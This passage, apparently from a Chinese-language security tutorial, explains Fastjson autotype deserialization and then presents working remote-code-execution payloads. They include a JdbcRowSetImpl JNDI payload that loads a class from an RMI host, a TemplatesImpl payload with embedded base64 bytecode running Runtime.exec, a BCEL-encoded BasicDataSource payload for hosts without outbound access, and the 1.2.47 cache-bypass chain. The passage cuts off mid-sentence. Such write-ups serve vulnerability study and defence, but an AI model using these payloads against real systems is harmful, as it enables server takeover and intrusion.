举个例子:
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Student {
private String name;
private int age;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) throws Exception{
System.out.println("setAge");
this.age = age;
}
public void setTest(int i){
System.out.println("setTest");
}
public static void test1() throws Exception {
Student student = new Student();
student.setAge(18);
student.setName("Sentiment");
System.out.println("====================");
String jsonString1 = JSON.toJSONString(student);
System.out.println("====================");
String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
System.out.println(jsonString2);
}
结果
构造函数
setAge
setName
====================
getAge
getName
====================
getAge
getName
{"age":18,"name":"Sentiment"}
{"@type":"fastjson.Student","age":18,"name":"Sentiment"}
可以看到调用JSON.toJSONString时会自动调用对应的getter
其次是若加上SerializerFeature.WriteClassName,则返回的内容除属性值外,还会加上**@type字段指明类**
String jsonString1 = "{\"age\":18,\"name\":\"Sentiment\"}\n";
String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"Sentiment\"}\n";
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");
结果
{"name":"Sentiment","age":18}
======================
构造函数
setAge
setName
fastjson.Student@4629104a
======================
{"name":"Sentiment","age":18}
======================
构造函数
setAge
setName
getAge
getName
{"name":"Sentiment","age":18}
======================
总结
当不加上**@type指明类,是得不到类对象**的
当对加上**@type字段的字符串进行转换后,除了能得到类对象外,parse会调用对应的setter**,parseObject会调用setter和getter
这种@type的方式也叫做autotype:
autotype 是 Fastjson 中的一个重要机制,粗略来说就是用于设置能否将 JSON 反序列化成对象。
注意 :
fastjson反序列化默认只能反序列化公共属性,如果想要对应的私有属性也被反序列话,则需要下面这样添加一个Feature.SupportNonPublicField参数: JSON.parseObject(myJSON, User.class, Feature.SupportNonPublicField);
版本号
对于fastjson反序列化漏洞的利用,第一步要做的事情,就是想办法去判断fastjson的版本号,因为不同版本的fastjson漏洞利用方式有所不同
-
常见判断方法
显错判断 DNS请求判断 TCP、UDP端口请求判断 延迟判断 访问一个不常见的外网IP地址,会延迟几秒,访问一个内网地址127.0.0.1 会瞬间返回,那么证明这个POC可用,也间接证明fastjson版本是1.2.47之前的版本。那么在不出网的情况下,可以借助这个POC的延迟效果
JdbcRowSetImpl链结合JNDI注入
com.sun.rowset.JdbcRowSetImpl就是这么一个类,这个类中有两个set方法,分别是setDataSourceName()与setAutoCommit(),我们看一下相关实现:
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
若this.conn==null,会调用this.connect()
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName())
connect()中若this.getDataSourceName() != null,则会调用lookup,进而通过rmi等协议远程类加载
跟进getDataSourceName()的值
public String getDataSourceName() {
return dataSource;
}
是由dataSource决定的,并且在BaseRowSet.setDataSourceName()中可以决定了他的值
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
JdbcRowSetImpl.setDataSourceName调用了BaseRowSet.setDataSourceName()
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
所以基本思路也就出来了,通过**@type机制调用dataSourceName和autoCommit并对其赋值,调用时自动加上前缀set就调用到了我们刚才说到的两个方法进而触发类加载代码执行**
{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/Evil", "autoCommit":true}}
TemplatesImpl动态加载字节码
字节码编程
package fastjson;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TemplatesPoc extends AbstractTranslet {
public TemplatesPoc() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TemplatesPoc t = new TemplatesPoc();
}
}
把字节码base64加密后传入payload
public class test1 {
public static void main(String[] args) throws Exception{
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
该利用链中最重要的是**_bytecodes**,但其为private私有字段,且没有setter方法,因此使用该payload需要设置Feature.SupportNonPublicField,所以该payload利用条件比较苛刻。
利用条件:
服务端使用parseObject()时,必须使用如下格式才能触发漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField)
BasicDataSource不出网利用
利用到不出网常见方式BCEL动态加载字节码
这种攻击方式需要特定的依赖tomcat-dbcp;其次需要注意这种方式只适用于JDK8u251之前,因为在此之后BCEL类被删除了
import java.io.IOException;
public class Exec {
public Exec() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader; //8u_251后移除,注意版本
public class BCELTest {
public static void main(String[] args) throws Exception {
JavaClass javaClass = Repository.lookupClass(Exec.class);
String code = Utility.encode(javaClass.getBytes(),true);
System.out.println("$$BCEL$$"+code);
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
}
运行后输出的需要加载的内容
import com.alibaba.fastjson.JSON;
public class BCEL {
public static void main(String[] args) {
String payload =
"{\n" +
" {\n" +
" \"x\":{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$C1$U$3d$85$91$81qP$k$e2$fb$RW$82$Lg$e3$OcL$M$s$sD$8c$Y$5c$P$b5$8e$r$d0$9a$99b$f8$z7j$5c$f8$B$7e$94$f1v4$88$b1M$7br$ce$3d$a7$b7$ed$c7$e7$db$3b$80C$ecx$c8$a1$e2$a1$8a$a5$3cj$W$97$5d$ac$b8Xe$c8$jI$r$cd1C$b6$de$e818$a7$faV0$y$b6$a5$S$X$e3Q_$c4$d7a$7fHJ$a5$ady8$ec$85$b1$b4$fcGt$cc$bdL$ac$fb$$L$cc$m$d1$whM$Eo2x$ad$J$X$PFj$95$b8X$p$de$d5$e3$98$8b3iS$Fk$3a$Y$84$8f$a1$P$Xy$X$eb$3e6$b0I$c7Q$H$eec$L$db$M$c5$3fG2$94$ac$3f$Y$86$w$K$3a$fd$81$e0$86$a1$9aJR$H$e7$9di$3b$86$f2$af$f1j$ac$8c$iQG$_$SfJj$f5F$fb$9f$87$ee$ec$88$b4$d1$5e$7d$a6$da5$b1TQs6p$Zk$$$92$a4$89$5d$cc$d1$af$da$c1h$d2C$90A$81$d8$J$n$p$5c$d8$7f$B$7bE$a6$92$7d$86s$f3DJ$G$9e$d5$91$a5$3d$H$872EJ$cd$T$f3$bf$T$84$c5$UAU$faWZ$a54W$fe$C$F$f1$9b$ac$cb$B$A$A\"\n" +
" }\n" +
" }: \"x\"\n" +
"}";
JSON.parse(payload);
}
}
Fastjson 1.2.47 反序列化 RCE
fastjson有一个cache缓存,在加载类时如果autotype没开启,会先从缓存中获取类,如果有则直接调用
例如缓存中一般都会有java.lang.Class类,当fastjson发现该类时,就会直接调用他的val中的类,进而回到了JdbcRowSetImpl链的利用过程
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip2:9999/Exploit",
"autoCommit":true
}
}
如果目标主机不能出网,那么第一种方式就不好使了
fastjson getshell的时候 需要构造一个恶意类 ,用的 rmi和jdni协议都是要出网的。在内网的情况下如果不出网的情况下就难以利用。
但是用第二种,第三种方式